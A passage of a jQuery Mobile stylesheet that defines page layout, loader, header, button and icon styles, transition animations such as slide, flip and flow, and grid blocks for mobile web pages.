0; } .ui-mobile a img, .ui-mobile fieldset { border-width: 0; } /* Fixes for fieldset issues on IE10 and FF (see #6077) */ .ui-mobile fieldset { min-width: 0; } @-moz-document url-prefix() { .ui-mobile fieldset { display: table-column; vertical-align: middle; } } /* Viewport */ .ui-mobile-viewport { margin: 0; overflow-x: visible; -webkit-text-size-adjust: 100%; -ms-text-size-adjust:none; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); } /* Issue #2066 */ body.ui-mobile-viewport, div.ui-mobile-viewport { overflow-x: hidden; } /* "page" containers - full-screen views, one should always be in view post-pageload */ .ui-mobile [data-role=page], .ui-mobile [data-role=dialog], .ui-page { top: 0; left: 0; width: 100%; min-height: 100%; position: absolute; display: none; border: 0; } /* On ios4, setting focus on the page element causes flashing during transitions when there is an outline, so we turn off outlines */ .ui-page { outline: none; } .ui-mobile .ui-page-active { display: block; overflow: visible; overflow-x: hidden; } @media screen and (orientation: portrait) { .ui-mobile .ui-page { min-height: 420px; } } @media screen and (orientation: landscape) { .ui-mobile .ui-page { min-height: 300px; } } /* Fouc */ .ui-mobile-rendering > * { visibility: hidden; } /* Non-js content hiding */ .ui-nojs { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } /* Loading screen */ .ui-loading .ui-loader { display: block; } .ui-loader { display: none; z-index: 9999999; position: fixed; top: 50%; left: 50%; border:0; } .ui-loader-default { background: none; filter: Alpha(Opacity=18); opacity: .18; width: 2.875em; height: 2.875em; margin-left: -1.4375em; margin-top: -1.4375em; } .ui-loader-verbose { width: 12.5em; filter: Alpha(Opacity=88); opacity: .88; box-shadow: 0 1px 1px -1px #fff; height: auto; margin-left: -6.875em; margin-top: -2.6875em; padding: .625em; } .ui-loader-default h1 { font-size: 0; width: 0; height: 0; overflow: hidden; } .ui-loader-verbose h1 { font-size: 1em; margin: 0; text-align: center; } .ui-loader .ui-icon-loading { background-color: #000; display: block; margin: 0; width: 2.75em; height: 2.75em; padding: .0625em; -webkit-border-radius: 2.25em; border-radius: 2.25em; } .ui-loader-verbose .ui-icon-loading { margin: 0 auto .625em; filter: Alpha(Opacity=75); opacity: .75; } .ui-loader-textonly { padding: .9375em; margin-left: -7.1875em; } .ui-loader-textonly .ui-icon-loading { display: none; } .ui-loader-fakefix { position: absolute; } /* Headers, content panels */ .ui-bar, .ui-body { position: relative; padding: .4em 1em; overflow: hidden; display: block; clear: both; } .ui-bar h1, .ui-bar h2, .ui-bar h3, .ui-bar h4, .ui-bar h5, .ui-bar h6 { margin: 0; padding: 0; font-size: 1em; display: inline-block; } .ui-header, .ui-footer { border-width: 1px 0; border-style: solid; position: relative; } .ui-header:empty, .ui-footer:empty { min-height: 2.6875em; } .ui-header .ui-title, .ui-footer .ui-title { font-size: 1em; min-height: 1.1em; text-align: center; display: block; margin: 0 30%; padding: .7em 0; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; outline: 0 !important; } .ui-footer .ui-title { margin: 0 1em; } .ui-content { border-width: 0; overflow: visible; overflow-x: hidden; padding: 1em; } /* Corner styling for dialogs and popups */ .ui-corner-all > .ui-header:first-child, .ui-corner-all > .ui-content:first-child, .ui-corner-all > .ui-footer:first-child { -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; } .ui-corner-all > .ui-header:last-child, .ui-corner-all > .ui-content:last-child, .ui-corner-all > .ui-footer:last-child { -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; } /* Buttons and icons */ .ui-btn { font-size: 16px; margin: .5em 0; padding: .7em 1em; display: block; position: relative; text-align: center; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; cursor: pointer; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } .ui-btn-icon-notext, .ui-header button.ui-btn.ui-btn-icon-notext, .ui-footer button.ui-btn.ui-btn-icon-notext { padding: 0; width: 1.75em; height: 1.75em; text-indent: -9999px; white-space: nowrap !important; } .ui-mini { font-size: 12.5px; } .ui-mini .ui-btn { font-size: inherit; } /* Make buttons in toolbars default to mini and inline. */ .ui-header .ui-btn, .ui-footer .ui-btn { font-size: 12.5px; display: inline-block; vertical-align: middle; } .ui-header .ui-controlgroup .ui-btn-icon-notext, .ui-footer .ui-controlgroup .ui-btn-icon-notext { font-size: 12.5px; } /* To ensure same top and left/right position when ui-btn-left/right are added to something other than buttons. */ .ui-header .ui-btn-left, .ui-header .ui-btn-right { font-size: 12.5px; } .ui-mini.ui-btn-icon-notext, .ui-mini .ui-btn-icon-notext, .ui-header .ui-btn-icon-notext, .ui-footer .ui-btn-icon-notext { font-size: 16px; padding: 0; } .ui-btn-inline { display: inline-block; vertical-align: middle; margin-right: .625em; } .ui-btn-icon-left { padding-left: 2.5em; } .ui-btn-icon-right { padding-right: 2.5em; } .ui-btn-icon-top { padding-top: 2.5em; } .ui-btn-icon-bottom { padding-bottom: 2.5em; } .ui-header .ui-btn-icon-top, .ui-footer .ui-btn-icon-top, .ui-header .ui-btn-icon-bottom, .ui-footer .ui-btn-icon-bottom { padding-left: .3125em; padding-right: .3125em; } .ui-btn-icon-left:after, .ui-btn-icon-right:after, .ui-btn-icon-top:after, .ui-btn-icon-bottom:after, .ui-btn-icon-notext:after { content: ""; position: absolute; display: block; width: 22px; height: 22px; } .ui-btn-icon-notext:after, .ui-btn-icon-left:after, .ui-btn-icon-right:after { top: 50%; margin-top: -11px; } .ui-btn-icon-left:after { left: .5625em; } .ui-btn-icon-right:after { right: .5625em; } .ui-mini.ui-btn-icon-left:after, .ui-mini .ui-btn-icon-left:after, .ui-header .ui-btn-icon-left:after, .ui-footer .ui-btn-icon-left:after { left: .37em; } .ui-mini.ui-btn-icon-right:after, .ui-mini .ui-btn-icon-right:after, .ui-header .ui-btn-icon-right:after, .ui-footer .ui-btn-icon-right:after { right: .37em; } .ui-btn-icon-notext:after, .ui-btn-icon-top:after, .ui-btn-icon-bottom:after { left: 50%; margin-left: -11px; } .ui-btn-icon-top:after { top: .5625em; } .ui-btn-icon-bottom:after { top: auto; bottom: .5625em; } /* Buttons in header position classes */ .ui-header .ui-btn-left, .ui-header .ui-btn-right, .ui-btn-left > [class*="ui-"], .ui-btn-right > [class*="ui-"] { margin: 0; } .ui-btn-left, .ui-btn-right { position: absolute; top: .24em; } .ui-btn-left { left: .4em; } .ui-btn-right { right: .4em; } .ui-btn-icon-notext.ui-btn-left { top: .3125em; left: .3125em; } .ui-btn-icon-notext.ui-btn-right { top: .3125em; right: .3125em; } /* Button elements */ button.ui-btn, .ui-controlgroup-controls button.ui-btn-icon-notext { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; -webkit-appearance: none; -moz-appearance: none; width: 100%; } button.ui-btn-inline, .ui-header button.ui-btn, .ui-footer button.ui-btn { width: auto; } /* Firefox adds a 1px border in a button element. We negate this to make sure they have the same height as other buttons in controlgroups. */ button.ui-btn::-moz-focus-inner { border: 0; } button.ui-btn-icon-notext, .ui-controlgroup-horizontal .ui-controlgroup-controls button.ui-btn { -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; width: 1.75em; } /* Form labels */ .ui-mobile label, .ui-controlgroup-label { display: block; margin: 0 0 .4em; } /* Accessible content hiding */ /* ui-hide-label deprecated in 1.4. TODO: Remove in 1.5 */ .ui-hide-label > label, .ui-hide-label .ui-controlgroup-label, .ui-hide-label .ui-rangeslider label, .ui-hidden-accessible { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } /* Used for hiding elements by the filterable widget. You can also use this class to hide list items or buttons in controlgroups; this ensures correct corner styling. */ .ui-screen-hidden { display: none !important; } /* Transitions originally inspired by those from jQtouch, nice work, folks */ .ui-mobile-viewport-transitioning, .ui-mobile-viewport-transitioning .ui-page { width: 100%; height: 100%; overflow: hidden; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } .ui-page-pre-in { opacity: 0; } .in { -webkit-animation-timing-function: ease-out; -webkit-animation-duration: 350ms; -moz-animation-timing-function: ease-out; -moz-animation-duration: 350ms; animation-timing-function: ease-out; animation-duration: 350ms; } .out { -webkit-animation-timing-function: ease-in; -webkit-animation-duration: 225ms; -moz-animation-timing-function: ease-in; -moz-animation-duration: 225ms; animation-timing-function: ease-in; animation-duration: 225ms; } @-webkit-keyframes fadein { from { opacity: 0; } to { opacity: 1; } } @-moz-keyframes fadein { from { opacity: 0; } to { opacity: 1; } } @keyframes fadein { from { opacity: 0; } to { opacity: 1; } } @-webkit-keyframes fadeout { from { opacity: 1; } to { opacity: 0; } } @-moz-keyframes fadeout { from { opacity: 1; } to { opacity: 0; } } @keyframes fadeout { from { opacity: 1; } to { opacity: 0; } } .fade.out { opacity: 0; -webkit-animation-duration: 125ms; -webkit-animation-name: fadeout; -moz-animation-duration: 125ms; -moz-animation-name: fadeout; animation-duration: 125ms; animation-name: fadeout; } .fade.in { opacity: 1; -webkit-animation-duration: 225ms; -webkit-animation-name: fadein; -moz-animation-duration: 225ms; -moz-animation-name: fadein; animation-duration: 225ms; animation-name: fadein; } .pop { -webkit-transform-origin: 50% 50%; -moz-transform-origin: 50% 50%; transform-origin: 50% 50%; } .pop.in { -webkit-transform: scale(1); -webkit-animation-name: popin; -webkit-animation-duration: 350ms; -moz-transform: scale(1); -moz-animation-name: popin; -moz-animation-duration: 350ms; transform: scale(1); animation-name: popin; animation-duration: 350ms; opacity: 1; } .pop.out { -webkit-animation-name: fadeout; -webkit-animation-duration: 100ms; -moz-animation-name: fadeout; -moz-animation-duration: 100ms; animation-name: fadeout; animation-duration: 100ms; opacity: 0; } .pop.in.reverse { -webkit-animation-name: fadein; -moz-animation-name: fadein; animation-name: fadein; } .pop.out.reverse { -webkit-transform: scale(.8); -webkit-animation-name: popout; -moz-transform: scale(.8); -moz-animation-name: popout; transform: scale(.8); animation-name: popout; } @-webkit-keyframes popin { from { -webkit-transform: scale(.8); opacity: 0; } to { -webkit-transform: scale(1); opacity: 1; } } @-moz-keyframes popin { from { -moz-transform: scale(.8); opacity: 0; } to { -moz-transform: scale(1); opacity: 1; } } @keyframes popin { from { transform: scale(.8); opacity: 0; } to { transform: scale(1); opacity: 1; } } @-webkit-keyframes popout { from { -webkit-transform: scale(1); opacity: 1; } to { -webkit-transform: scale(.8); opacity: 0; } } @-moz-keyframes popout { from { -moz-transform: scale(1); opacity: 1; } to { -moz-transform: scale(.8); opacity: 0; } } @keyframes popout { from { transform: scale(1); opacity: 1; } to { transform: scale(.8); opacity: 0; } } /* keyframes for slidein from sides */ @-webkit-keyframes slideinfromright { from { -webkit-transform: translate3d(100%,0,0); } to { -webkit-transform: translate3d(0,0,0); } } @-moz-keyframes slideinfromright { from { -moz-transform: translateX(100%); } to { -moz-transform: translateX(0); } } @keyframes slideinfromright { from { transform: translateX(100%); } to { transform: translateX(0); } } @-webkit-keyframes slideinfromleft { from { -webkit-transform: translate3d(-100%,0,0); } to { -webkit-transform: translate3d(0,0,0); } } @-moz-keyframes slideinfromleft { from { -moz-transform: translateX(-100%); } to { -moz-transform: translateX(0); } } @keyframes slideinfromleft { from { transform: translateX(-100%); } to { transform: translateX(0); } } /* keyframes for slideout to sides */ @-webkit-keyframes slideouttoleft { from { -webkit-transform: translate3d(0,0,0); } to { -webkit-transform: translate3d(-100%,0,0); } } @-moz-keyframes slideouttoleft { from { -moz-transform: translateX(0); } to { -moz-transform: translateX(-100%); } } @keyframes slideouttoleft { from { transform: translateX(0); } to { transform: translateX(-100%); } } @-webkit-keyframes slideouttoright { from { -webkit-transform: translate3d(0,0,0); } to { -webkit-transform: translate3d(100%,0,0); } } @-moz-keyframes slideouttoright { from { -moz-transform: translateX(0); } to { -moz-transform: translateX(100%); } } @keyframes slideouttoright { from { transform: translateX(0); } to { transform: translateX(100%); } } .slide.out, .slide.in { -webkit-animation-timing-function: ease-out; -webkit-animation-duration: 350ms; -moz-animation-timing-function: ease-out; -moz-animation-duration: 350ms; animation-timing-function: ease-out; animation-duration: 350ms; } .slide.out { -webkit-transform: translate3d(-100%,0,0); -webkit-animation-name: slideouttoleft; -moz-transform: translateX(-100%); -moz-animation-name: slideouttoleft; transform: translateX(-100%); animation-name: slideouttoleft; } .slide.in { -webkit-transform: translate3d(0,0,0); -webkit-animation-name: slideinfromright; -moz-transform: translateX(0); -moz-animation-name: slideinfromright; transform: translateX(0); animation-name: slideinfromright; } .slide.out.reverse { -webkit-transform: translate3d(100%,0,0); -webkit-animation-name: slideouttoright; -moz-transform: translateX(100%); -moz-animation-name: slideouttoright; transform: translateX(100%); animation-name: slideouttoright; } .slide.in.reverse { -webkit-transform: translate3d(0,0,0); -webkit-animation-name: slideinfromleft; -moz-transform: translateX(0); -moz-animation-name: slideinfromleft; transform: translateX(0); animation-name: slideinfromleft; } .slidefade.out { -webkit-transform: translateX(-100%); -webkit-animation-name: slideouttoleft; -webkit-animation-duration: 225ms; -moz-transform: translateX(-100%); -moz-animation-name: slideouttoleft; -moz-animation-duration: 225ms; transform: translateX(-100%); animation-name: slideouttoleft; animation-duration: 225ms; } .slidefade.in { -webkit-transform: translateX(0); -webkit-animation-name: fadein; -webkit-animation-duration: 200ms; -moz-transform: translateX(0); -moz-animation-name: fadein; -moz-animation-duration: 200ms; transform: translateX(0); animation-name: fadein; animation-duration: 200ms; } .slidefade.out.reverse { -webkit-transform: translateX(100%); -webkit-animation-name: slideouttoright; -webkit-animation-duration: 200ms; -moz-transform: translateX(100%); -moz-animation-name: slideouttoright; -moz-animation-duration: 200ms; transform: translateX(100%); animation-name: slideouttoright; animation-duration: 200ms; } .slidefade.in.reverse { -webkit-transform: translateX(0); -webkit-animation-name: fadein; -webkit-animation-duration: 200ms; -moz-transform: translateX(0); -moz-animation-name: fadein; -moz-animation-duration: 200ms; transform: translateX(0); animation-name: fadein; animation-duration: 200ms; } /* slide down */ .slidedown.out { -webkit-animation-name: fadeout; -webkit-animation-duration: 100ms; -moz-animation-name: fadeout; -moz-animation-duration: 100ms; animation-name: fadeout; animation-duration: 100ms; } .slidedown.in { -webkit-transform: translateY(0); -webkit-animation-name: slideinfromtop; -webkit-animation-duration: 250ms; -moz-transform: translateY(0); -moz-animation-name: slideinfromtop; -moz-animation-duration: 250ms; transform: translateY(0); animation-name: slideinfromtop; animation-duration: 250ms; } .slidedown.in.reverse { -webkit-animation-name: fadein; -webkit-animation-duration: 150ms; -moz-animation-name: fadein; -moz-animation-duration: 150ms; animation-name: fadein; animation-duration: 150ms; } .slidedown.out.reverse { -webkit-transform: translateY(-100%); -webkit-animation-name: slideouttotop; -webkit-animation-duration: 200ms; -moz-transform: translateY(-100%); -moz-animation-name: slideouttotop; -moz-animation-duration: 200ms; transform: translateY(-100%); animation-name: slideouttotop; animation-duration: 200ms; } @-webkit-keyframes slideinfromtop { from { -webkit-transform: translateY(-100%); } to { -webkit-transform: translateY(0); } } @-moz-keyframes slideinfromtop { from { -moz-transform: translateY(-100%); } to { -moz-transform: translateY(0); } } @keyframes slideinfromtop { from { transform: translateY(-100%); } to { transform: translateY(0); } } @-webkit-keyframes slideouttotop { from { -webkit-transform: translateY(0); } to { -webkit-transform: translateY(-100%); } } @-moz-keyframes slideouttotop { from { -moz-transform: translateY(0); } to { -moz-transform: translateY(-100%); } } @keyframes slideouttotop { from { transform: translateY(0); } to { transform: translateY(-100%); } } /* slide up */ .slideup.out { -webkit-animation-name: fadeout; -webkit-animation-duration: 100ms; -moz-animation-name: fadeout; -moz-animation-duration: 100ms; animation-name: fadeout; animation-duration: 100ms; } .slideup.in { -webkit-transform: translateY(0); -webkit-animation-name: slideinfrombottom; -webkit-animation-duration: 250ms; -moz-transform: translateY(0); -moz-animation-name: slideinfrombottom; -moz-animation-duration: 250ms; transform: translateY(0); animation-name: slideinfrombottom; animation-duration: 250ms; } .slideup.in.reverse { -webkit-animation-name: fadein; -webkit-animation-duration: 150ms; -moz-animation-name: fadein; -moz-animation-duration: 150ms; animation-name: fadein; animation-duration: 150ms; } .slideup.out.reverse { -webkit-transform: translateY(100%); -webkit-animation-name: slideouttobottom; -webkit-animation-duration: 200ms; -moz-transform: translateY(100%); -moz-animation-name: slideouttobottom; -moz-animation-duration: 200ms; transform: translateY(100%); animation-name: slideouttobottom; animation-duration: 200ms; } @-webkit-keyframes slideinfrombottom { from { -webkit-transform: translateY(100%); } to { -webkit-transform: translateY(0); } } @-moz-keyframes slideinfrombottom { from { -moz-transform: translateY(100%); } to { -moz-transform: translateY(0); } } @keyframes slideinfrombottom { from { transform: translateY(100%); } to { transform: translateY(0); } } @-webkit-keyframes slideouttobottom { from { -webkit-transform: translateY(0); } to { -webkit-transform: translateY(100%); } } @-moz-keyframes slideouttobottom { from { -moz-transform: translateY(0); } to { -moz-transform: translateY(100%); } } @keyframes slideouttobottom { from { transform: translateY(0); } to { transform: translateY(100%); } } /* The properties in this rule are only necessary for the 'flip' transition. * We need specify the perspective to create a projection matrix. This will add * some depth as the element flips. The depth number represents the distance of * the viewer from the z-plane. According to the CSS3 spec, 1000 is a moderate * value. */ .viewport-flip { -webkit-perspective: 1000; -moz-perspective: 1000; perspective: 1000; position: absolute; } .flip { -webkit-backface-visibility: hidden; -webkit-transform: translateX(0); /* Needed to work around an iOS 3.1 bug that causes listview thumbs to disappear when -webkit-visibility:hidden is used. */ -moz-backface-visibility: hidden; -moz-transform: translateX(0); backface-visibility: hidden; transform: translateX(0); } .flip.out { -webkit-transform: rotateY(-90deg) scale(.9); -webkit-animation-name: flipouttoleft; -webkit-animation-duration: 175ms; -moz-transform: rotateY(-90deg) scale(.9); -moz-animation-name: flipouttoleft; -moz-animation-duration: 175ms; transform: rotateY(-90deg) scale(.9); animation-name: flipouttoleft; animation-duration: 175ms; } .flip.in { -webkit-animation-name: flipintoright; -webkit-animation-duration: 225ms; -moz-animation-name: flipintoright; -moz-animation-duration: 225ms; animation-name: flipintoright; animation-duration: 225ms; } .flip.out.reverse { -webkit-transform: rotateY(90deg) scale(.9); -webkit-animation-name: flipouttoright; -moz-transform: rotateY(90deg) scale(.9); -moz-animation-name: flipouttoright; transform: rotateY(90deg) scale(.9); animation-name: flipouttoright; } .flip.in.reverse { -webkit-animation-name: flipintoleft; -moz-animation-name: flipintoleft; animation-name: flipintoleft; } @-webkit-keyframes flipouttoleft { from { -webkit-transform: rotateY(0); } to { -webkit-transform: rotateY(-90deg) scale(.9); } } @-moz-keyframes flipouttoleft { from { -moz-transform: rotateY(0); } to { -moz-transform: rotateY(-90deg) scale(.9); } } @keyframes flipouttoleft { from { transform: rotateY(0); } to { transform: rotateY(-90deg) scale(.9); } } @-webkit-keyframes flipouttoright { from { -webkit-transform: rotateY(0) ; } to { -webkit-transform: rotateY(90deg) scale(.9); } } @-moz-keyframes flipouttoright { from { -moz-transform: rotateY(0); } to { -moz-transform: rotateY(90deg) scale(.9); } } @keyframes flipouttoright { from { transform: rotateY(0); } to { transform: rotateY(90deg) scale(.9); } } @-webkit-keyframes flipintoleft { from { -webkit-transform: rotateY(-90deg) scale(.9); } to { -webkit-transform: rotateY(0); } } @-moz-keyframes flipintoleft { from { -moz-transform: rotateY(-90deg) scale(.9); } to { -moz-transform: rotateY(0); } } @keyframes flipintoleft { from { transform: rotateY(-90deg) scale(.9); } to { transform: rotateY(0); } } @-webkit-keyframes flipintoright { from { -webkit-transform: rotateY(90deg) scale(.9); } to { -webkit-transform: rotateY(0); } } @-moz-keyframes flipintoright { from { -moz-transform: rotateY(90deg) scale(.9); } to { -moz-transform: rotateY(0); } } @keyframes flipintoright { from { transform: rotateY(90deg) scale(.9); } to { transform: rotateY(0); } } /* The properties in this rule are only necessary for the 'flip' transition. * We need specify the perspective to create a projection matrix. This will add * some depth as the element flips. The depth number represents the distance of * the viewer from the z-plane. According to the CSS3 spec, 1000 is a moderate * value. */ .viewport-turn { -webkit-perspective: 200px; -moz-perspective: 200px; -ms-perspective: 200px; perspective: 200px; position: absolute; } .turn { -webkit-backface-visibility: hidden; -webkit-transform: translateX(0); /* Needed to work around an iOS 3.1 bug that causes listview thumbs to disappear when -webkit-visibility:hidden is used. */ -webkit-transform-origin: 0; -moz-backface-visibility: hidden; -moz-transform: translateX(0); -moz-transform-origin: 0; backface-visibility :hidden; transform: translateX(0); transform-origin: 0; } .turn.out { -webkit-transform: rotateY(-90deg) scale(.9); -webkit-animation-name: flipouttoleft; -webkit-animation-duration: 125ms; -moz-transform: rotateY(-90deg) scale(.9); -moz-animation-name: flipouttoleft; -moz-animation-duration: 125ms; transform: rotateY(-90deg) scale(.9); animation-name: flipouttoleft; animation-duration: 125ms; } .turn.in { -webkit-animation-name: flipintoright; -webkit-animation-duration: 250ms; -moz-animation-name: flipintoright; -moz-animation-duration: 250ms; animation-name: flipintoright; animation-duration: 250ms; } .turn.out.reverse { -webkit-transform: rotateY(90deg) scale(.9); -webkit-animation-name: flipouttoright; -moz-transform: rotateY(90deg) scale(.9); -moz-animation-name: flipouttoright; transform: rotateY(90deg) scale(.9); animation-name: flipouttoright; } .turn.in.reverse { -webkit-animation-name: flipintoleft; -moz-animation-name: flipintoleft; animation-name: flipintoleft; } @-webkit-keyframes flipouttoleft { from { -webkit-transform: rotateY(0); } to { -webkit-transform: rotateY(-90deg) scale(.9); } } @-moz-keyframes flipouttoleft { from { -moz-transform: rotateY(0); } to { -moz-transform: rotateY(-90deg) scale(.9); } } @keyframes flipouttoleft { from { transform: rotateY(0); } to { transform: rotateY(-90deg) scale(.9); } } @-webkit-keyframes flipouttoright { from { -webkit-transform: rotateY(0) ; } to { -webkit-transform: rotateY(90deg) scale(.9); } } @-moz-keyframes flipouttoright { from { -moz-transform: rotateY(0); } to { -moz-transform: rotateY(90deg) scale(.9); } } @keyframes flipouttoright { from { transform: rotateY(0); } to { transform: rotateY(90deg) scale(.9); } } @-webkit-keyframes flipintoleft { from { -webkit-transform: rotateY(-90deg) scale(.9); } to { -webkit-transform: rotateY(0); } } @-moz-keyframes flipintoleft { from { -moz-transform: rotateY(-90deg) scale(.9); } to { -moz-transform: rotateY(0); } } @keyframes flipintoleft { from { transform: rotateY(-90deg) scale(.9); } to { transform: rotateY(0); } } @-webkit-keyframes flipintoright { from { -webkit-transform: rotateY(90deg) scale(.9); } to { -webkit-transform: rotateY(0); } } @-moz-keyframes flipintoright { from { -moz-transform: rotateY(90deg) scale(.9); } to { -moz-transform: rotateY(0); } } @keyframes flipintoright { from { transform: rotateY(90deg) scale(.9); } to { transform: rotateY(0); } } /* flow transition */ .flow { -webkit-transform-origin: 50% 30%; -webkit-box-shadow: 0 0 20px rgba(0,0,0,.4); -moz-transform-origin: 50% 30%; -moz-box-shadow: 0 0 20px rgba(0,0,0,.4); transform-origin: 50% 30%; box-shadow: 0 0 20px rgba(0,0,0,.4); } .ui-dialog.flow { -webkit-transform-origin: none; -webkit-box-shadow: none; -moz-transform-origin: none; -moz-box-shadow: none; transform-origin: none; box-shadow: none; } .flow.out { -webkit-transform: translateX(-100%) scale(.7); -webkit-animation-name: flowouttoleft; -webkit-animation-timing-function: ease; -webkit-animation-duration: 350ms; -moz-transform: translateX(-100%) scale(.7); -moz-animation-name: flowouttoleft; -moz-animation-timing-function: ease; -moz-animation-duration: 350ms; transform: translateX(-100%) scale(.7); animation-name: flowouttoleft; animation-timing-function: ease; animation-duration: 350ms; } .flow.in { -webkit-transform: translateX(0) scale(1); -webkit-animation-name: flowinfromright; -webkit-animation-timing-function: ease; -webkit-animation-duration: 350ms; -moz-transform: translateX(0) scale(1); -moz-animation-name: flowinfromright; -moz-animation-timing-function: ease; -moz-animation-duration: 350ms; transform: translateX(0) scale(1); animation-name: flowinfromright; animation-timing-function: ease; animation-duration: 350ms; } .flow.out.reverse { -webkit-transform: translateX(100%); -webkit-animation-name: flowouttoright; -moz-transform: translateX(100%); -moz-animation-name: flowouttoright; transform: translateX(100%); animation-name: flowouttoright; } .flow.in.reverse { -webkit-animation-name: flowinfromleft; -moz-animation-name: flowinfromleft; animation-name: flowinfromleft; } @-webkit-keyframes flowouttoleft { 0% { -webkit-transform: translateX(0) scale(1); } 60%, 70% { -webkit-transform: translateX(0) scale(.7); } 100% { -webkit-transform: translateX(-100%) scale(.7); } } @-moz-keyframes flowouttoleft { 0% { -moz-transform: translateX(0) scale(1); } 60%, 70% { -moz-transform: translateX(0) scale(.7); } 100% { -moz-transform: translateX(-100%) scale(.7); } } @keyframes flowouttoleft { 0% { transform: translateX(0) scale(1); } 60%, 70% { transform: translateX(0) scale(.7); } 100% { transform: translateX(-100%) scale(.7); } } @-webkit-keyframes flowouttoright { 0% { -webkit-transform: translateX(0) scale(1); } 60%, 70% { -webkit-transform: translateX(0) scale(.7); } 100% { -webkit-transform: translateX(100%) scale(.7); } } @-moz-keyframes flowouttoright { 0% { -moz-transform: translateX(0) scale(1); } 60%, 70% { -moz-transform: translateX(0) scale(.7); } 100% { -moz-transform: translateX(100%) scale(.7); } } @keyframes flowouttoright { 0% { transform: translateX(0) scale(1); } 60%, 70% { transform: translateX(0) scale(.7); } 100% { transform: translateX(100%) scale(.7); } } @-webkit-keyframes flowinfromleft { 0% { -webkit-transform: translateX(-100%) scale(.7); } 30%, 40% { -webkit-transform: translateX(0) scale(.7); } 100% { -webkit-transform: translateX(0) scale(1); } } @-moz-keyframes flowinfromleft { 0% { -moz-transform: translateX(-100%) scale(.7); } 30%, 40% { -moz-transform: translateX(0) scale(.7); } 100% { -moz-transform: translateX(0) scale(1); } } @keyframes flowinfromleft { 0% { transform: translateX(-100%) scale(.7); } 30%, 40% { transform: translateX(0) scale(.7); } 100% { transform: translateX(0) scale(1); } } @-webkit-keyframes flowinfromright { 0% { -webkit-transform: translateX(100%) scale(.7); } 30%, 40% { -webkit-transform: translateX(0) scale(.7); } 100% { -webkit-transform: translateX(0) scale(1); } } @-moz-keyframes flowinfromright { 0% { -moz-transform: translateX(100%) scale(.7); } 30%, 40% { -moz-transform: translateX(0) scale(.7); } 100% { -moz-transform: translateX(0) scale(1); } } @keyframes flowinfromright { 0% { transform: translateX(100%) scale(.7); } 30%, 40% { transform: translateX(0) scale(.7); } 100% { transform: translateX(0) scale(1); } } .ui-field-contain, .ui-mobile fieldset.ui-field-contain { display: block; position: relative; overflow: visible; clear: both; padding: .8em 0; } .ui-field-contain > label ~ [class*="ui-"], .ui-field-contain .ui-controlgroup-controls { margin: 0; } .ui-field-contain:last-child { border-bottom-width: 0; } @media (min-width: 28em) { .ui-field-contain, .ui-mobile fieldset.ui-field-contain { padding: 0; margin: 1em 0; border-bottom-width: 0; } .ui-field-contain:before, .ui-field-contain:after { content: ""; display: table; } .ui-field-contain:after { clear: both; } .ui-field-contain > label, .ui-field-contain .ui-controlgroup-label, .ui-field-contain > .ui-rangeslider > label { float: left; width: 20%; margin: .5em 2% 0 0; } .ui-popup .ui-field-contain > label, .ui-popup .ui-field-contain .ui-controlgroup-label, .ui-popup .ui-field-contain > .ui-rangeslider > label { float: none; width: auto; margin: 0 0 .4em; } .ui-field-contain > label ~ [class*="ui-"], .ui-field-contain .ui-controlgroup-controls { float: left; width: 78%; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } /* ui-hide-label deprecated in 1.4. TODO: Remove in 1.5 */ .ui-hide-label > label ~ [class*="ui-"], .ui-hide-label .ui-controlgroup-controls, .ui-popup .ui-field-contain > label ~ [class*="ui-"], .ui-popup .ui-field-contain .ui-controlgroup-controls { float: none; width: 100%; } .ui-field-contain > label ~ .ui-btn-inline { width: auto; margin-right: .625em; } .ui-field-contain > label ~ .ui-btn-inline.ui-btn-icon-notext { width: 1.75em; } } /* content configurations. */ .ui-grid-a, .ui-grid-b, .ui-grid-c, .ui-grid-d, .ui-grid-solo { overflow: hidden; } .ui-block-a, .ui-block-b, .ui-block-c, .ui-block-d, .ui-block-e { margin: 0; padding: 0; border: 0; float: left; min-height: 1px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } /* force new row */ .ui-block-a { clear: left; } ul.ui-grid-a, ul.ui-grid-b, ul.ui-grid-c, ul.ui-grid-d, ul.ui-grid-solo, li.ui-block-a, li.ui-block-b, li.ui-block-c, li.ui-block-d, li.ui-block-e { margin-left: 0; margin-right: 0; padding: 0; list-style: none; } /* No margin in grids for 100% width button elements until we can use max-width: fill-available; */ [class*="ui-block-"] > button.ui-btn { margin-right: 0; margin-left: 0; } [class*="ui-block-"] > .ui-btn, [class*="ui-block-"] > .ui-select, [class*="ui-block-"] > .ui-checkbox, [class*="ui-block-"] > .ui-radio, [class*="ui-block-"] > button.ui-btn-inline, [class*="ui-block-"] > button.ui-btn-icon-notext, .ui-header [class*="ui-block-"] > button.ui-btn, .ui-footer [class*="ui-block-"] > button.ui-btn { margin-right: .3125em; margin-left: .3125em; } .ui-grid-a > .ui-block-a, .ui-grid-a > .ui-block-b { /* width: 49.95%; IE7 */ /* margin-right: -.5px; BB5 */ width: 50%; } .ui-grid-b > .ui-block-a, .ui-grid-b > .ui-block-b, .ui-grid-b > .ui-block-c { /* width: 33.25%; IE7 */ /* margin-right: -.5px; BB5 */ width: 33.333%; } .ui-grid-c > .ui-block-a, .ui-grid-c > .ui-block-b, .ui-grid-c > .ui-block-c, .ui-grid-c > .ui-block-d { /* width: 24.925%; IE7 */ /* margin-right: -.5px; BB5 */ width: 25%; } .ui-grid-d > .ui-block-a, .ui-grid-d > .ui-block-b, .ui-grid-d > .ui-block-c, .ui-grid-d > .ui-block-d, .ui-grid-d > .ui-block-e { /* width: 19.925%; IE7 */ width: 20%; } .ui-grid-solo > .ui-block-a { width: 100%; float: none; } /* preset breakpoint to switch to 